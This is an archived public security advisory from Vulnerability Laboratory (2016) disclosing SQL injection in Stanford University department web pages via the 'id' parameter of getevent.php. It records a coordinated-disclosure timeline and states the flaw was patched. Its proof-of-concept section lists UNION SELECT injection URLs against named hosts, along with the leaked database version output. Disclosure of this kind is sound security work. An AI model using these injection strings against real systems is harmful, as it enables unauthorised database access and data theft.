[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Stanford University - Multiple SQL Injection Vulnerabilities

Document Title:
===============
Stanford University - Multiple SQL Injection Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1829


Release Date:
=============
2016-05-09


Vulnerability Laboratory ID (VL-ID):
====================================
1829


Common Vulnerability Scoring System:
====================================
7.8


Product & Service Introduction:
===============================
Stanford University, located between San Francisco and San Jose in the heart of 
California's Silicon Valley, is one of 
the world's leading teaching and research universities. Since its opening in 
1891, Stanford has been dedicated to finding 
solutions to big challenges and to preparing students for leadership in a 
complex world.

(Copy of the Homepage: http://www.stanford.com/about/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple 
sql-injection vulnerabilities in the official Stanford University online 
service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-04-19: Researcher Notification & Coordination (Benjamin Kunz Mejri - 
Evolution Security GmbH)
2016-04-20: Vendor Notification (Campus Security Department)
2016-04-22: Vendor Response/Feedback (Campus Security Department)
2016-05-06: Vendor Fix/Patch (Stanford Site Developer Team)
2016-05-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Stanford
Product: Stanford University - Online Service (Web-Application) 2016 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote sql-injection web vulnerability has been discovered  in the official 
Stanford University online service web-application.
The vulnerability allows remote attackers and privileged user accounts to 
execute own sql commands to compromise the web-server or dbms.

The vulnerability is located in the `id` value of the `getevent.php` file GET 
method request. Remote attackers are able to execute own 
malicious sql commands via id value to compromise the web-server or connected 
database management system. The issue is a classic 
remote sql injection vulnerability. The request method to execute is GET and 
the attack vector is located on the application-side of the
active web-service.

The security risk of the sql-injection vulnerability is estimated as medium 
with a cvss (common vulnerability scoring system) count of 7.8.
Exploitation of the remote sql injection web vulnerability requires no user 
interaction and a low privileged web-application user account.
Successful exploitation of the remote sql injection results in database 
management system, web-server and web-application compromise.

Request Method(s):
                                [+] GET

Vulnerable File(s):
                                [+] getevent.php

Vulnerable Parameter(s):
                                [+ id



Proof of Concept (PoC):
=======================
The sql-injection vulnerability can be exploited by remote attackers without 
privileged user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.


PoC: Example
http://[URL]/[PATH]/[Module]/[CGI-BIN]/[PAGE]?[ID]=[SQL-INJECTION!]


PoC: Exploitation
http://www.stanford.com/dept/asianlang/cgi-bin/about/getevent.php?id=1%20union%20select%201,user%28%29,3,4,5,version%28%29,7,8
http://www.stanford.com/dept/asianlang/cgi-bin/about/getevent.php?id=1%20union%20select%201,user%28%29,3,4,5,version%28%29,7,8
http://ealc.stanford.edu/about/getevent.php?id=1%20union%20select%201,user%28%29,3,4,5,version%28%29,7,8
http://ceas.stanford.edu/oldSite/events/getevent.php?id=-1%20union%20select%201,user%28%29,3,4,5,version%28%29,7,8


PoC: Output Exploitation
<ul>
  <li class="event_date">
    November 30, 2002 /
  </li>
  <li class="event_type">
    5.5.47-0+deb7u1-log  </li>
  <li class="event_info">
<a style="text-decoration:none; color:#17525d;" 
href="event_detail.php?id=1">dasianlangdEALC@xxxxxxxxxxxxxxxxxx</a>
  </li>
  <li class="event_time">
    4: am    —
    5: am  </li>
  <li class="event_destination">
        7<br>
    8  </li>
</ul>


Reference(s):
http://www.stanford.com/
http://www.stanford.com/dept/
http://www.stanford.com/dept/asianlang/
http://www.stanford.com/dept/asianlang/cgi-bin/
http://www.stanford.com/dept/asianlang/cgi-bin/about/
http://ceas.stanford.edu/oldSite/events/
http://ealc.stanford.edu/about/


Security Risk:
==============
The security risk of the sql-injection vulnerabilities in the stanford online 
service web-application is estimated as medium. (CVSS 7.8)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com] 
[http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, 
including the warranties of merchantability and capability for a particular 
purpose. Vulnerability-Lab or its suppliers are not liable in any case of 
damage, 
including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been 
advised 
of the possibility of such damages. Some states do not allow the exclusion or 
limitation of liability for consequential or incidental damages so the 
foregoing 
limitation may not apply. We do not approve or encourage anybody to break any 
licenses, policies, deface websites, hack into databases or trade with stolen 
data.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com              
                                - www.evolution-sec.com
Contact:    admin@xxxxxxxxxxxxxxxxxxxxx         - 
research@xxxxxxxxxxxxxxxxxxxxx                                - 
admin@xxxxxxxxxxxxxxxxx
Section:    magazine.vulnerability-lab.com      - 
vulnerability-lab.com/contact.php                             - 
evolution-sec.com/contact
Social:     twitter.com/vuln_lab                - facebook.com/VulnerabilityLab 
                                - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php                    - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - 
vulnerability-lab.com/list-of-bug-bounty-programs.php         - 
vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file 
requires authorization from Vulnerability Laboratory. Permission to 
electronically 
redistribute this alert in its unmodified form is granted. All other rights, 
including the use of other media, are reserved by Vulnerability-Lab Research 
Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the 
specific 
authors or managers. To record, list, modify, use or edit our material contact 
(admin@ or research@xxxxxxxxxxxxxxxxxxxxx) to get a ask permission.

                                    Copyright © 2016 | Vulnerability Laboratory 
- [Evolution Security GmbH]™



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx